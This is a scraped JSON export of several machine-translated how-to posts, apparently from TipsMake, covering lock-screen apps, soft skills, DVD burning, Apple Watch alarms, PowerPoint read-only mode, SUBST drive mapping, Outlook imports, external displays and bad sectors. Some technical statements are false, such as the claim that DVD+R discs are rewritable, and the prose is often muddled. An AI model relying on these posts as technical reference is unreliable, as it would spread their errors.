'social' and select the application in it. This means that users have access to many other applications directly from the Echo lock screen instead of from the default Android screen.\n11. DynamicNotifications   \nDynamicNotifications is an easy-to-see sophisticated lock screen application for Android devices. By default, it has a simple black background and the notification only turns on the screen when the phone is not in the pocket or facing the screen. In fact, this application is not really a lock screen application. However, if you buy the premium version (US $ 1.99) you can use the lock screen customization feature. In addition, users can set notifications and set night mode to not receive notifications while sleeping.\n12. GO Locker   \nGo Locker is one of the most theme lock screen applications. The themes in this application are free and paid depending on the type. The app provides many ways to unlock phones and present applications for quick access. Shortcut options for turning on / off Bluetooth or mobile data from the lock screen are a handy feature.\n13. My Locker My locker application helps you personalize your Android device lock screen. In addition, the application also has the option to allow you to share the screen with friends as a gift. The main features of My Locker include:\nChoose clock styles, dates and weather and place them anywhere you want. Choose fonts, colors, backgrounds, icons of each gadget. Choose different unlocking methods. Use beautiful snowfall effect. Send a lock screen with your photo to a friend or relative as a gift. Download the lock screen on the Theme Hub so other users can download and use the screen you design. My Locker PRO version allows you to use unlimited widgets on one screen and there are many kinds of extremely interesting unlocking methods! Use the My Locker application to customize the lock screen:\nDownload and install the My Locker application on your Android device.   Click Agree and proceed to agree to the terms and conditions of the application. Click Always to set MyLocker as the default application for the lock screen\u0026gt; press OK.   Create a new theme by clicking New Theme , then you can download the image and create any lock screen you want.   Discover the application, you will find a lot of interesting features. This is the easiest way to personalize the lock screen.   Hopefully, the Android lock screen customization applications introduced by TipsMake.com you can create unique lock screens for your device.\n14. Favorites Lock Screen If you want an interesting and beautiful lock screen, you can try out Microsoft's new application - Favorites Lock Screen for Android.\nIn order for the Favorites Lock Screen application to work, you need to perform 2 steps. One is to choose Favorites Lock Screen as the default lock screen in Android. The second is to turn off the lock screen security feature. The second step is needed to avoid the same two lock screens when you unlock your Android phone.\nAfter performing the initial installation steps, you need to select favorite topics and phone wallpapers for the lock screen will be selected randomly from this topic. Bing app to search for wallpapers for your favorite topics. Depending on the geographical location, you will have different favorite topics to choose from. You can select as many topics as you want and also delete them easily.\n  In the settings option for the Favorites Lock Screen application, you can turn the lock screen on or off, select the time to lock the device immediately to a few seconds, add your own wallpaper to the lock screen, select shortcuts The application is displayed on the lock screen, switch notifications, show the latest news, .\nAlthough the application suggests turning off Android's lock screen security feature, it also provides its own security options. You can choose screen lock security such as PIN, pattern lock, password, fingerprint, and so on. Some options may not be available depending on your smartphone features.\nMicrosoft's Favorites Lock Screen makes your Android phone lock screen more interesting. You can set high definition photos of celebrities or other themes as lock screen wallpapers. It also allows you to display the latest news and trends with Bing search on the lock screen.\nHaving fun!\nSee more:\nTop best antivirus application for Android phones Top 10 smartest Android notification management apps available today Small tips for adding background music when opening apps on Android 10 easy video editing applications on Android ncG1vNJzZmismaXArq3KnmWcp51kfnV5wZ6qrWWRo7Gzu8idZKybopqyr3nLqJqkZZGlvbR5xaipZrGfqr9ur9GemK2hpp7Bug%3D%3D\n","link":"/post/14-best-android-screen-lock-apps-for-your-creativity/","section":"post","tags":null,"title":"14 best Android screen lock apps for your creativity"},{"body":" 7 bad habits should give up to build better relationships 10 qualities NEED to help you succeed To think effectively, train your brain in 12 ways below! Surely one of us once looked at some of our friends and thought: ' Why can they always be so happy? . It seems that lifelong happiness as well as successive success is a personal mark of some individuals. They get a good job. They are lucky in love. They are always optimistic and happy.\nMaybe you are looking at them with jealous eyes? This is completely understandable. However, you will soon realize that you can get rid of that jealousy behind, start building your own happiness and success.\nThe school certainly does not teach you about soft skills   Have you ever heard the term ' soft skills '? Probably not. Honestly, this is something that is rarely taught in schools. However, to be really happy and successful you need to develop a lot of soft skills.\nIf you are wondering what soft skills are, think about skills related to your attitude, temperament and personality ( as you choose to communicate with others ).\nMost schools often fail to develop soft skills. For example, maybe you know how to write a 1,000-word essay about World War II, but do you know how to prove your credibility to a vulnerable and frightened person? or not?\nWhy is soft skill important?   Soft skills can make a big difference in your life . Without them, you will have to struggle to find jobs, partners as well as happiness. So soft skills really mean.\nA concrete example to make it easier to understand, is when you conduct a job interview - but it fails. You may be rejected due to lack of experience or lack of professional ability, it is also possible that you lose that position because there are not enough soft skills needed.\nSituations such as interviews require interviewees to have a variety of soft skills, including: listening, knowing how to highlight themselves to the interviewer and show a positive attitude .\nTo become happy and successful, develop the following 50 soft skills Happy and successful people often own most of the 50 soft skills ( not all ) listed below:\n1. The ability to listen Through listening, you can learn a lot from others. Moreover, you also have more friends - because most people like to talk about themselves or their own lives.\n  2. Accept reviews, feedback from others Whether good or bad, the evaluation is still necessary on the path to success. By facing criticisms, you can create positive changes.\n3. There is flexible approach In school, we are not taught about flexibility, but in all aspects of life it needs it. Think about how many times you have to change your plan to meet the needs of a partner?\n4. Assertive when necessary Maybe you are not a decisive person. However, you should learn how to be assertive in certain practical situations if necessary. For example, if you want to ask the seller to pay you back.\n5. Focus on a task or a problem In a world where technology is ' immersed ' today, concentration has dropped to the lowest level ever. Get rid of that and develop your ability to focus on what you need to do. This way of doing things will help you outperform ordinary people.\nSee also: 6 useful tips to help prepare for future opportunities\n6. Understand the power of teamwork   Working in harmony in a group is an important skill. Whether you are working in a factory, an office or a store, you cannot avoid becoming part of a group.\nTherefore, you must learn how to get along with people and if you are a team leader, you also need to know how to motivate and inspire your team.\n7. Know when to compete Personally, I'm not a competitive person. However, according to my own experience, I realized that competition sometimes plays an important role for success.\nIn my case, I used to compete with other freelance writers to get a job. In your situation, you may have to contend with colleagues to get a better position in the company.\n8. Confident in every situation Successful people often seem confident. If you want to succeed like them, you need to do the same thing. If you currently lack confidence, then try to develop it by completing small goals ( goals can grow when your confidence increases ).\n9. Know how to handle conflicts It's sad to admit that conflict is everywhere. You can argue with your lover and disagree with colleagues at the company. For your happiness, develop conflict resolution skills. This may simply be to know when to leave when confronting face to face.\n10. Be polite and polite   In personal experience, many people are not aware of how they treat others themselves. For example, they look very arrogant and distant as soon as they're simply showing confidence.\nTo be polite and behave politely means you have to let yourself return to a natural, comfortable state. Put all your expectations aside and let your charm shine.\n11. Enjoy providing great services Whether you're working with a customer or a colleague, make sure you put all your energy into bringing the best service. In this way, you will improve your chances of success and improve your happiness. Try this.\n12. Deal with stress in difficult situations Suppose you just lost a job that you have spent the last 10 years giving. Will you collapse in shock - or quickly get up and look for new opportunities? In life, there will obviously be situations that make it hard to solve but focus on the positive and avoid letting negative thoughts and feelings beat you.\nSee also: 5 helpful tips to help you simplify your life from today\n13. Quickly make a decision   I once read a book that said: ' The winner knows the decision quickly, and the loser knows only slowly. ' This statement definitely wants to say something. If you spend a lot of time making a decision, it will be left behind by those who decide quickly ( immediate action ).\n14. A reliable person Trust is very important . In today's life, we are often \" attacked \" by news related to robbery, fraud and even murder. These successive stories flood into our subconscious mind and make us wary of everyone we come into contact with.\nTo reverse this, you must be a trusted person. Thus, you will quickly gain the trust of others and soon become famous for being honest and trustworthy.\n15. Enthusiastic learning If we don't study hard, where will we go? From birth to adulthood, we are constantly learning new things. However, as people age, many people stop learning. To remain young, happy and satisfied with your life, light up the flame of learning in you .\n16. Know when to assign tasks to others Are you a person who likes to do everything himself? If that's the case, then there will probably be times when you feel depleted of time and energy. If there are family members or colleagues you can trust, choose this option when needed. However, in order for this to be successful, make sure you assign tasks to skilled individuals related to them.\n17. Communicate clearly and effectively   \nCommunication skills are at the heart of all personal and work relationships . The key is to learn how to speak and write well. Of course, communication is not a one-sided issue. You need to be a good listener.\n18. Create lots of energy Have you ever found that celebrities seem extremely aggressive? They are lively, lively and charismatic. If you always show a low energy level, it's hard to succeed. Try to awaken your energy source by eating healthy, exercising and meditating.\n19. Possess good personal communication skills People are happy to know how to interact harmoniously with others. They are comfortable communicating with everyone regardless of their background or class. Moreover, they also know how to participate in constructive meetings and talks.The best way to acquire personal communication skills is to listen and follow those who are really good at these skills .\n20. Follow the instructions when necessary Maybe you always want to do everything in your own way, but to succeed, sometimes you need to follow the instructions and instructions of others. For example, your manager often lets you work in your own way, but sometimes he also shows you how to complete a certain job.\nSee more: 10 reasons why you might be so uncomfortable in the eyes of others\n21. Know thinking \"beyond the usual rules\" when needed   This skill is definitely not taught at school. However, being able to think beyond the rules or limits can be a very valuable skill. That is usually the way breakthrough ideas are made.\n22. A warm, approachable and friendly person If you're not friendly, it's hard to find many friends or good opportunities. Suppose 2 people with the same skills and experience applied to a job position: a friendly person and the other person did not, who do you think will get the job?\n23. Know how to tell engaging stories Stories are the soul of society. You can reminisce about the stories your parents used to read when you were young before going to bed. From there, you can \" addict \" to reading novels and watching movies. Everyone likes to hear those stories. To be successful in life, learn how to be an attractive storyteller.\n24. Positive attitude Negativity will not get you anywhere. Life is always up and down, so if you just take care of the negative things, you won't realize what can happen quickly.\nOn the contrary, active people are constantly exploring new opportunities. Of course, you have to live reality, but you should also give yourself a positive attitude .\n25. Always live in an organized manner Are you an organized person? If that's the case, will other people feel like you?Organized life is not only a dreaming skill but also very important. Whether you want to advance in your work or write a first novel, organized life will make the difference between success and failure.\n50 soft skills needed to be happy and successful for life (Part 2) Author: Craig J Todd\nSee also: Apply 5 effective ways later to enhance learning ability many times\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kgnF50qidrWWjoLatuNJmpZ6dlJqxbsDOZpmeZZiWvbHFjJqlnWWjqrCksdKsna6kXZu8s3nLop2eZaCWv7V5kA%3D%3D\n","link":"/post/50-soft-skills-needed-to-be-happy-and-successful-for-life-part-1/","section":"post","tags":null,"title":"50 soft skills needed to be happy and successful for life (Part 1)"},{"body":"DVDs are one of the most common ways to store, backup, and transfer files. They are also a great way to play movies from your computer on nearly any DVD player. If you have a DVD burner, you can quickly create DVDs using tools included in...\nMethod 1of 4:\nChoosing The Correct DVD Disc Format  Learn what formats of disc are suitable for your drive, burning software, purpose, and devices, as well as the playback equipment you intend to view it on. Before you invest money on new blank DVD, do a little research and get to know which formats are compatible with your devices. Knowing this before you purchase a huge pack of discs will prevent frustrating and costly mistakes. DVD+R means the disc is rewritable and you can (with appropriate software) delete files off the disc and replace with new ones. The file will just hide under the new ones and take up some disc space. DVD-R means the disc is not erasable and cannot be reused although files can be copied to another drive and burned on a new disc. ROM means it's Read Only Media that can not be erased and is permanently burned onto the disc. RW states the old file is erased completely taking no disc space at all after being rewritten or re-burned.   Look at the format symbols/icons on the packaging, the disc themselves, in the device user manuals or the device. Not every DVD disc is made for burning with a computer and some discs will allow you burn a movie and menus of a DVD on the disc but not work in DVD players. Note which brands work better on the devices too. Some players are finicky about the brands of disc being played in them. Also some brands are thicker and more durable than others. Professional movie discs are an expensive grade of disc.  Method 2of 4:\nVideo DVDs  Before purchasing a disk set, look for the icon Video DVD (video with a disc) on the burning and playback devices. Purchase DVDs with the same icon. This format will very likely to work properly with the used device. Purchase only DVD-R disc formats for this purpose. Many players don't play discs with DVD+R format correctly, and the menus on the DVD may not function right when burned on that format. You can tweak the settings of the authoring program to fix this problem but it's best left to more advanced users.   Download and install a DVD authoring program. If you want to burn a video file to a DVD so that it can be played in any DVD player, you'll need a special kind of burning program, referred to as \"DVD authoring\" programs. These programs will convert the video file(s) to the format that is recognized by standalone DVD players. These programs typically don't come installed on your computer, though you may have a trial or basic version that came with your DVD burner. Below are a few of the most popular free options for the major operating systems:[1] WinX DVD Author - winxdvd.com/dvd-author/ (Windows) Burn - burn-osx.sourceforge.net (Mac) DeVeDe - rastersoft.com/programas/devede.html (Linux; Windows no longer free) DVD Styler - dvdstyler.org/en/ DVD Flick- dvdflick.net/ (out of date but is operational and with practice you can create your own custom backgrounds and buttons; for Windows)   Create a new Video project in your DVD authoring program. The process varies a little bit depending on the program you are using, but generally you'll be presented with a menu when you start your program, allowing you to pick the type of DVD you are creating. Choose the \"Video\" option or tab.\n  Add your video file(s) to the new project. After starting your new project, you can add your first video file. Most DVD authoring programs support all the major video formats, so you typically don't need to worry about converting the files first. Click and drag the video into the authoring window, or browse for the video file on your computer. You can usually fit one full-length movie onto your DVD, or several hour-long TV episodes.   Start the conversion process. Oftentimes the video files that you add are not in the proper MPEG-2 format required to make a playable video DVD. The extension name for this is ,MPEG OR .MPG. Most DVD authoring programs will convert your video file either as you add it to the project, or after you're finished adding files. Converting the video may take a while to complete. If prompted during the video conversion, select the correct region for your DVD player. The US and Japan use NTSC, while most of Europe uses PAL. If you are using DeVeDe, the conversion happens at the end of the authoring process. If you are receiving errors when attempting to convert the file, you may need to use a dedicated conversion program like Handbrake. Click here for instructions on using Handbrake to convert your files to a DVD compatible format. Flash-Integro (or VSDC Movie Editor free version) also converts movies into needed formats and offers many editing options like cutting and splitting as well. Go to the Flash-Integro site and not the other fake ones. You can also record a video in a media player like VLC or PotPlayer in MPEG format to convert a file as well. It takes as long as the movie duration.   Create the menu. Many DVD authoring programs have basic menu creation tools. These allow you to create a custom menu for your video. You don't need a menu for the video to be playable, as you can have it just automatically start playing when the disc is inserted. In Burn for Mac, click the Gear button and select \"Use DVD theme\" to enable a basic menu for your DVD. When creating the menu, avoid placing buttons along the very edge of the frame. The edge is often cut off by older TVs and DVD players.   Insert a blank DVD. Once the video is converted and the menu has been created, you can start the burning process. Insert a blank DVD-R into your computer's DVD burner. This is the best disc format for creating video DVDs, as DVD-R is compatible with the widest range of DVD players. Some older DVD players will not be able to play any burned DVDs, regardless of format. If your computer opens the AutoPlay window when you insert the blank disc, just close it.   Open the Burn menu in the authoring program. Again, the process will vary depending on the program you are using. There are a few settings that you'll want to check before you actually burn the project to the disc: Set the \"Write Speed\" low. While it may be tempting to set the speed to MAX or another high value, this can lead to errors on the disc which will prevent it from playing. The best way to ensure that your disc will work is to burn at 2X or 4X only. If you haven't been prompted to select your region yet, check the Burn menu for the NTSC for PAL option and select the appropriate one.   Burn the disc. After reviewing your settings, start the burn process by clicking Start or Burn. If your videos weren't converted yet, they'll be converted before being burned. The entire process may take a while, especially if you've lowered the burn speed. Try to avoid using your computer while it is converting and burning, as this could slow the process down or cause errors. If you're using DeVeDe, the program will only create an ISO (disc image) file. You'll need to then burn the ISO file yourself. See this section for more information.   Play the burned disc. Once the burning and converting process is complete, you should be able to play your new disc in most DVD players. Remember, not all DVD players support burned DVDs, especially older models.\n Method 3of 4:\nData DVDs  Insert a blank DVD into your DVD burner. If you're creating archives of your data, or don't want someone else overwriting what you've put on the disc, use a DVD-R or DVD-R DL (Dual Layer). If you want to be able to rewrite and edit the content on the disc, use a DVD-RW.\n  Open the DVD in your computer's file explorer. Most modern operating systems allow you to burn data DVDs directly from your file explorer without any additional software. Opening the blank disc will allow you to add files and folders. In Windows 7 and later, you'll be prompted to select whether you want to use the disc like a USB drive, or like a traditional finished DVD. Selecting \"Like a USB flash drive\" will allow you to rewrite the disc, even if it isn't a rewriteable disc, but it will only work in Windows. Selecting \"With a CD/DVD player\" will make the disc act like a traditional disc that will need to be finalized and can only be used once.[2] If you are using OS X, the blank disc will appear on your desktop. Double-click it to open it in the Finder.[3]   Drag files and folders into the blank disc's window. You won't lose the original copies of the files. You can fit about to 4.38 GB worth of data onto a single blank DVD-R. The status bar at the bottom of the window will display how much space you have left.\n  Burn the disc. Once you're finished adding files, you can finalize your disc and eject it so that you can use it on other computers. The process is a little different depending on your operating system and settings. If you selected \"Like a USB flash drive\" in Windows, just eject your disc after you're finished adding files and the disc will be made ready to use on other Windows computers. This may take a minute or so. If you selected \"With a CD/DVD player\" in Windows, click the \"Finish burning\" button to finalize the disc. This may take a few minutes. If you're using OS X, click the Burn button next to the disc name in the left sidebar.  Method 4of 4:\nISOs and Other Disc Images  Identify the disc image file. Disc image files are exact copies of a DVD or CD that need to be burned to a blank disc before thy can be used. This will turn the disc into a copy of the original. There are a variety of disc image file types that you may have downloaded. The most common file type is ISO, and you can use built-in software in Windows 7 and later or in OS X to burn these to a blank disc. Other disc image formats include CDR, BIN/CUE, DMG, CDI, and NRG. If you are using Windows Vista or XP, or you are trying to burn an image file other than ISO, you'll need to install an image burning program. One of the most popular programs for Windows is ImgBurn (imgburn.com).   Insert a blank DVD into your burner. Burning an image file to your disc will finalize it, and it won't be able to be rewritten. For best results, use a DVD-R format disc.\n  Open the image burning software. The process varies depending on your operating system and installed software: Windows 7, 8, and 10 - Right-click on the ISO file and select \"Burn to disc\". This will open the Windows Disc Image Burner utility. OS X - Launch the Disk Utility program, which you can find in the Utilities folder. Drag your ISO file into the left frame of the Disk Utility window.[4] Windows Vista and XP, or non-ISO files - Launch your image burning program and load the image file.   Start the burning process. Click the \"Burn\" button to begin burning your ISO or other disc image file to your blank DVD. This process will take several minutes, depending on the speed of your burner and the size of your image file.\n  Jessica Tanner Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqlp7turYydrZ0%3D\n","link":"/post/how-to-burn-a-dvd/","section":"post","tags":null,"title":"How to Burn a DVD"},{"body":"You can set an alarm on iPhone via Apple Watch. But unlike manually updating Apple Watch, for alarms, iPhones and watches do not need to share the same connection. Alarms are placed directly on the watch other than using the Clock app on the iPhone. For example, if you create an alarm on Apple Watch, that alarm won't show up in the Clock app , ring on iPhone and vice versa.\nCreate and manage alarms on Apple Watch To create an alarm, display the app list and click the 'Alarms' app to launch it. Then click 'Add Alarm' from the list.\n  Now, to set the alarm, touch the hour or minute section and rotate the watch's Digital Crown to adjust the number of minutes up or down. Be sure to click AM or PM to select the right time. When done, click the 'Set' button (or Cancel if you want to start over). When the alarm is set, you will return to the screen showing the set of alarm (s) and they will be ready for operation.\n  If you need to edit or delete an alarm, launch the Alarms application and click on the alarm that needs to be changed. A list of management options will be displayed. Click on the 'Change time' option at the top of the list. There, you can change the hour or minute to your liking, then press the 'Set' button .\n  \nWhen the alarm sounds, your watch will vibrate and make a clear sound. After that, you can stop or choose to snooze. It will return to the watch face or any application you are using.\n  Other alarm settings of Apple Watch In the same Edit list , there are other alarm options. You can set the alarm to repeat, snooze and change the label for the alarm. To name the alarm, tap the 'Alarm Label' button and then enter the content you want.\n  If you no longer need the alarm, scroll down a little more in the Edit Alarm list and press the Delete button . You will be taken back to the list of alarms set up and the deleted alarm will no longer appear. Also, like the iPhone, you can turn the alarm on or off from this list.\n  Leaving the iPhone and watch active together through the Clock app is a useful feature. But using an alarm directly on the Apple Watch is useful when you're not near your phone. Creating and managing alarms on the clock is also easy, right?\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapZ1lnZa7orPEZpilmaKiwG67zWaYqaicmnq4rdOcnw%3D%3D\n","link":"/post/how-to-create-and-manage-alarms-on-apple-watch/","section":"post","tags":null,"title":"How to create and manage alarms on Apple Watch"},{"body":"If you want to edit a read-only PowerPoint file, you must unlock it. This article will show you how to lock and unlock Powerpint files for editing with a few simple steps.\nHow to create a PowerPoint file password Check and protect presentations in PowerPoint 2016 Instructions to turn off the Protected View feature in Office 2013 Unlock a read-only PowerPoint file There are two ways to know a read-only PowerPoint file. The first one is to see the phrase 'Read-only' after the file name, the second is to see the yellow notification bar at the top of the presentation with a notice that this document has restricted access.\nNext to the yellow message is the button that says Edit Anyway . Click that button to unlock the PowerPoint file.\n  The yellow bar will disappear with the word Read-only after the file name. The PowerPoint file is now editable.\n  Another way to unlock PowerPoint files is to access the File tab.\n  You will be redirected to the Info menu. Here the Protect Presentation option is highlighted in yellow and the message 'The presentation has been marked as final to discourage any editing' is displayed next to it. Select Protect Presentation .\n  From the submenu, choose Mark as Final to unlock the PowerPoint file.\n  You should now see the yellow banner and the message next to the Protect Presentation option have disappeared. The phrase Read-only next to the file name is no longer available.\n  Why is it necessary to leave the PowerPoint file in Read-only mode? People use this mode to prevent editing, they merely notify the recipient of this PowerPoint file this is the final copy of the author. Read-only status can also prevent inadvertent editing of documents.\nLeaving the document read-only is a more polite way of asking people not to edit it and protect your content. Taking steps to let people know you don't want content to be edited is the right thing to do.\nHow to lock out a read-only PowerPoint file Now you know how to unlock the PowerPoint file and why it needs to be locked. This is how to enable read-only mode.\nOpen the PowerPoint file you want to leave without editing, select the File tab.\n  You will be taken to the Info menu. Select Protect Presentation to open the drop down menu, click on Mark as Final .\n  In the dialog box that appears PowerPoint file marked as final and saved, click Ok .\n  Now, when sending the document, it will display the Marked as Final bar, informing the recipient that this PowerPoint file is read only, not editable.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfmLhurc2dZK6mnKSwrHnPqK6eqqCktq%2FAjJ%2BgpZ1dqbxuscOiqw%3D%3D\n","link":"/post/how-to-lock-and-unlock-powerpoint-file-to-edit/","section":"post","tags":null,"title":"How to lock and unlock Powerpoint file to edit"},{"body":" Tired of browsing through long paths? There is a way you can map a drive letter to a long path. This will save a lot of time with frequently accessed folders. For example, you can map a long path like D:DocumentsJohnLetters to the drive...\nMethod 1of 2:\nThru Command Prompt  Open a command prompt window. On Windows Vista or Windows 7, open the command prompt as default user, not as Administrator. The reason will be explained later.\n  Use the SUBST command to map your folder to a drive letter. For example: SUBST X: \"D:DocumentsJohnLetters\".\n  To try it, open a windows explorer window. You should see a newly created drive letter X:, with which you can access your mapped folder directly.\n  To un-map the previously created drive letter, type SUBST X: /D\n  Note that when you reboot your computer, all mapped drive letters will be reset. To automatically map your folder when your system starts, put the SUBST command in a batch file, and put the batch file in your Autostart folder in the start menu. Advanced users can use the windows task scheduler, however this is not covered here.\n  Execute the SUBST command using the account that issued it. These mappings are only created for the user who originally issued the SUBST command. When you login as \"John\", and you open a command prompt as \"Administrator\" and execute the SUBST command, \"John\" will not be able to see any mapped drive letters because the mapping was created for \"Administrator\". This is why you need to open the command prompt as a default user in Windows Vista and Windows 7. When using the task scheduler, again make sure that the command is executed under the default user account.\n Method 2of 2:\nThru the My Computer button (Graphical Method on Windows)  Open My Computer from your Windows desktop.\n  Click Map Network Drive from the Tools menu.\n  Select a drive letter that you want to assign to the mapped folder in the Drive box. You will be able to rename this mapped drive to anything you want.\n  Type the server and share name of the computer or folder you want or Click Browse to find the computer or folder, in the Folder box.\n  Click the Finish button.\n  Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRpXqiecWoo52domLBsHnAZpuroaaaeq2x062cq2WZo3q4tc2dprCr\n","link":"/post/how-to-map-a-folder-to-a-drive-letter-in-windows/","section":"post","tags":null,"title":"How to Map a Folder to a Drive Letter in Windows"},{"body":"You can easily export contacts and contacts stored in Excel for import into Outlook by saving the worksheet in CSV format. So how to do specific? Invite you to follow the article below of TipsMake.com.\nStep 1: Save contacts as CSV file The contact list below is stored in an Excel spreadsheet. Note the fields should be in the same format.\nTo export a document as a CSV, first click on File to open the menu. Next, choose Save As\u0026gt; Browse.\nChoose a save location, name it, then select the CSV file type (Comma Delimited) in Save as type.\nClose the Excel workbook. Contacts are ready to be imported into Outlook.\nStep 2: Transfer contacts to Outlook To transfer contacts on the newly saved Excel file to Outlook, open Outlook, click File\u0026gt; Open \u0026amp; Export\u0026gt; Import / Export.\nNext, in the Import and Export Wizard , click Import from Another Program or File and then click Next.\nNext interface, select Comma Separated Values and then Next .\nClick the Browse button to find the CSV file you want to import.\nSelect an option you want Outlook to handle duplicates and click Next.\nIn this example, TipsMake.com selects Replace Duplicates with Items Imported , which means that existing contacts in Outlook will be overwritten by the information contained in the imported file.\nNext, select the correct Contacts folder on Outlook so that the contacts to be transferred will be here.\nClick Map Custom Fields to exactly match the fields from the Excel spreadsheet to the corresponding fields in Outlook.\nIn the Map Custom Fields dialog box that opens, the fields in the CSV file will appear in the From table on the left, and To on the right are the fields from the Contacts folder in Outlook.\nSuccessfully matched fields appear in the Mapped From column on the right.\nFor non-matching fields, such as Email Address in the table, click and drag the From to To field, then select OK to complete.\nThe conversion window appears, notifying the process that took place.\nWait for the process to finish, your contacts have been transferred from the CSV file to Outlook. Simple as that. Please try it!\nSee more:\nInstructions for scheduling sending emails and delaying sending emails in Outlook Instructions for basic steps to backup Outlook data Assign more Background images to emails in Outlook ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZJynnqmupMDSZp2rp51irq95xLGanqRdrLyzt9KhnJ6sXam8brvUraOop5s%3D\n","link":"/post/how-to-transfer-contacts-from-an-excel-worksheet-to-outlook/","section":"post","tags":null,"title":"How to transfer contacts from an Excel worksheet to Outlook"},{"body":"Like Windows or mac OS, Chrome OS also supports many ways for users to connect their Chromebook to a separate screen or TV to serve different usage scenarios, as well as improve productivity. job.\nIn case you have connected your Chromebook to a separate display and interacted mainly on the removable screen, you can completely turn off the screen of the device to save battery power. Proceed as follows.\nHow to turn off the Chromebook screen when using an external display There are basically two ways for you to use your Chromebook with an external display (removable).\nScenario 1: This second monitor could be the secondary monitor independent of the Chromebook display. Scenario 2: You can project the Chromebook's screen directly onto the removable screen, for example, to get a larger display space. If you want to turn off the Chromebook's home screen while the device is connected to a separate display, this is only applicable in the second case.\nAfter successfully connecting your Chromebook to the removable display, access the ' Settings ' app from the home screen.\n  Next, navigate to the ' Device ' section and click on ' Displays '.\n  On this screen you will see how the two screens are arranged. Check the box next to ' Mirror Built-in Display ' option.\n  The removable display will now reflect anything on the Chromebook home screen. The next step is to allow the Chromebook screen to turn off while using the removable display. Click the back arrow button to return to the device settings menu.\n  Navigate to the ' Device ' section, then click on ' Power '.\n  Finally, tap the switch on the right to turn off the ' Sleep When Cover is Closed ' option.\n  From now on, when you close your Chromebook, the discrete display will continue to accurately mirror content from the home screen.\nChromebook detachable screen ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZK2glWKwqb7Oppybp5%2BgerSv0Z6cp2WnnbKvedOhnGaclau2pLGMoqpmm5%2Bju6av056bZqyfYq6vecSxq56qnpa5brDIrKelmak%3D\n","link":"/post/how-to-turn-off-the-chromebook-screen-when-the-device-is-connected-to-an-external-display/","section":"post","tags":null,"title":"How to turn off the Chromebook screen when the device is connected to an external display"},{"body":"On the MacBook there is a feature that connects Macs together, then can use 2 monitors on the same machine. In case users need to work on two different Macs, this feature will definitely help us a lot, increasing productivity and efficiency of the job.\nHowever, before installing a monitor for the MacBook, check to see if you are using the right type of cable. Check information about the machine in MacTracker. For MacBook or MacBook Pro models produced after 2015, use a USB-C cap (Thunderbolt 3) to be compatible with VGA, DVI and HDMI monitors. In addition, we should choose the type of connection screen, so use an HDMI or DVI monitor.\nIn case of MacBook or MacBook Pro after 2015, use Thunderbolt cable 1, 2 or Mini DisplayPort.\n  Once you've prepared the cap, follow the steps below.\nStep 1: First of all, we click on System Preferences\u0026gt; Displays .\n  In case the Mac does not receive the secondary monitor, please check the end of the connection between the two devices. If this is not possible, select the signal feed on the 2nd monitor in the Source section and adjust when there is a signal, similar to the input signal selected on the TV.\nOr press and hold the Options button and select Gather Windows to let the Mac receive the secondary screen. We will then see two information panels displayed on the screen, one of the first Mac and one of the secondary monitor as shown below.\n  If neither table appears, the other panel will appear in the secondary screen. We click Gather Windows to switch the two displays on the current screen.\nStep 2: In the Display tab, users proceed to adjust the resolution for the screen. Should choose the sizes at the top of the list to have the best display quality.\n  Step 3: Click on the Arrangement tab to adjust the position of the 2 screens that appear on the device, to help determine the correct path of the mouse pointer between the two screens.\nWhen the second screen is on the left but appears in the settings on the right, the sides of the screen will not be connected. You must hover your mouse to the right of the machine to go to the second screen to perform the task. Therefore, drag and drop operation to determine the position of the 2 screens need to be accurate. If the larger icon is the secondary screen.\nTo adjust the position of the menu bar on the device, drag the white dash into 1 of the 2 screen icons.\nNext to the Mirror displays option below, when we select, the two screens will display the same content.\n  We choose the resolution for 2 screens, or let the system automatically adjust. This feature will be suitable for meetings or presentations, etc. When completed, you can also switch to 2-screen mode.\n  Step 4: With the secondary screen, we will see the Display and Color tabs.\nDisplay tab, we will only be able to perform screen rotation, without adjusting the brightness and also without the AirPlay option.\n  Color tab to change the parameters so that the colors on the screen look more real.\n  So you have finished setting up the secondary screen mode for Macbook already. As long as we select the right monitor and then the operating system will proceed to install the two monitors. Users will only need to adjust one of the other numbers to match the requirements of the job only.\nRefer to the following articles: Useful tips for macOS 10.12 Sierra Share files and folders between Mac OS X and Windows 7 How to use Image Capture on Mac to manage photos on iPhone / iPad I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabn6O7pq%2FToqWgZaSsvG65zqegraeiqHqwuoytn55lnZawo7vOpA%3D%3D\n","link":"/post/instructions-for-connecting-two-monitors-on-the-macbook/","section":"post","tags":null,"title":"Instructions for connecting two monitors on the MacBook"},{"body":"Hard disk after a period of use will encounter some signs such as failing to boot, the computer hangs while the hard drive signal light is still on continuously . That may be the indication that the drive Your hard drive may have a bad sector error. Therefore, you should regularly check the health status of your hard drive and always backup in case of data loss due to bad sectors hard drive. Here you go to discuss how to check and fix bad sectors of TipsMake.com to be able to protect your computer in the best way.\nSector can be described in the simplest way as the smallest unit is divided to contain data in the HDD hard drive. Normally, a sector can contain 512 bytes of data. After a period of use, the hard drive often appears corrupted sectors called bad sectors.\nThese are areas that do not maintain data integrity and they are automatically \"masked\" by the operating system, so it is difficult to determine, especially if a large number of sectors are being used. If your data is saved to bad sectors , it will be difficult to be safe. Bad sectors are a reality of computer hard drives and generally you don't need to worry too much when encountering this situation if you have a good understanding of it.\nBad sector classification   There are two types of bad sectors: bad sectors due to physical errors of hard drives (also known as \"hard sectors\" bad) and bad sectors due to logic errors of software (called \"soft bad sectors\"). Technically, hard bad sectors cannot be fixed and soft bad sectors can be fixed.\nPhysical bad sector error is the condition that a cluster of sectors stored on the hard drive is physically damaged. The reason may be because the hard drive's reader has touched a portion of the disk surface and damaged its surface, or there may be some dust particles that have fallen in the sector and destroyed it. In addition, the surface of the disc platters in the hard drive may have had some flaws that cause the sectors to become physically damaged. As mentioned, this type of error cannot be fixed.\nMeanwhile, the logical bad sector error occurs when a storage sector sector does not work as expected. The operating system may have found a way to read data in this area and detect ECC error 